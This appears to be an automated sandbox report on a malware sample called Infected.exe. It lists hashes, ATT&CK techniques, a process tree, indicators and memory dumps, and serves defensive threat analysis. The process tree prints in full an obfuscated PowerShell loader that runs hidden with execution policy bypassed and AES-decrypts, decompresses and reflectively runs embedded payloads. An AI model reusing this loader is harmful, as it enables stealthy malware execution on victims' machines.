f119af94e527030335c30655a23723fc9d62b8ea854968245add5237789bd766

General

Target

Infected.exe
Size

640KB
MD5

1584a5810de6bfc7c3dff164710e0138
SHA1

e9923c7954ff83bb2bc82e04ee9857adcdfc23eb
SHA256

f119af94e527030335c30655a23723fc9d62b8ea854968245add5237789bd766
SHA512

07267af21244580cdeb22163c7bb25852f65454e36f6668123d003f60cb31338b4888cb9b849e8959b5509ee659a7128f1e896ea7a8d995d7a79a15a3f4b8d04
SSDEEP

12288:xyveQB/fTHIGaPkKEYzURNAwbAgB2X+t4vBQX/g+mFaaj22:xuDXTIGaPhEYzUzA0/0vBbjT

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2984	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2984	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2984	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2096 wrote to memory of 2324	2096	Infected.exe	30
PID 2096 wrote to memory of 2324	2096	Infected.exe	30
PID 2096 wrote to memory of 2324	2096	Infected.exe	30
PID 2324 wrote to memory of 2984	2324	cmd.exe	32
PID 2324 wrote to memory of 2984	2324	cmd.exe	32
PID 2324 wrote to memory of 2984	2324	cmd.exe	32

C:\Users\Admin\AppData\Local\Temp\Infected.exe
"C:\Users\Admin\AppData\Local\Temp\Infected.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2096
- C:\Windows\system32\cmd.exe
  cmd /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2324
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('k21Z0aGUmMIa82IH1ZHeakFarTsTBsN9aHQ4zh1WaQY='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cFGhOEILDflSnp/72Cr7AQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $zliPF=New-Object System.IO.MemoryStream(,$param_var); $vxPUW=New-Object System.IO.MemoryStream; $pUYGl=New-Object System.IO.Compression.GZipStream($zliPF, [IO.Compression.CompressionMode]::Decompress); $pUYGl.CopyTo($vxPUW); $pUYGl.Dispose(); $zliPF.Dispose(); $vxPUW.Dispose(); $vxPUW.ToArray();}function execute_function($param_var,$param2_var){ $pmQKt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KfoWt=$pmQKt.EntryPoint; $KfoWt.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat';$Momfr=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat').Split([Environment]::NewLine);foreach ($sSjTe in $Momfr) { if ($sSjTe.StartsWith(':: ')) { $JyJLj=$sSjTe.Substring(3); break; }}$payloads_var=[string[]]$JyJLj.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2984

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RarSFX0\Infected.bat

Filesize
277KB

MD5
bd6d363ffe7f471468e77ac9caf6c587

SHA1
63f009bd193280e9ea37cd37f286df1770b938dc

SHA256
149c1db4bc6f8593ec403d1a7a832de4ed1959f50a47c89a1317bdfec5f08a8c

SHA512
621d270910826f90776440a73979b77bc8bc50e7946ed73feef9f2c86efa9af8e8f758bf39cd096e4acebaf068c80fd369a793d23c45de635bacd52802496f1a

Download Submit
memory/2984-20-0x000007FEF56AE000-0x000007FEF56AF000-memory.dmp

Filesize
4KB

Download
memory/2984-21-0x000000001B660000-0x000000001B942000-memory.dmp

Filesize
2.9MB

Download
memory/2984-22-0x0000000001D80000-0x0000000001D88000-memory.dmp

Filesize
32KB

Download
memory/2984-23-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-24-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-25-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-26-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp

Filesize
9.6MB

Download
memory/2984-27-0x000007FEF53F0000-0x000007FEF5D8D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing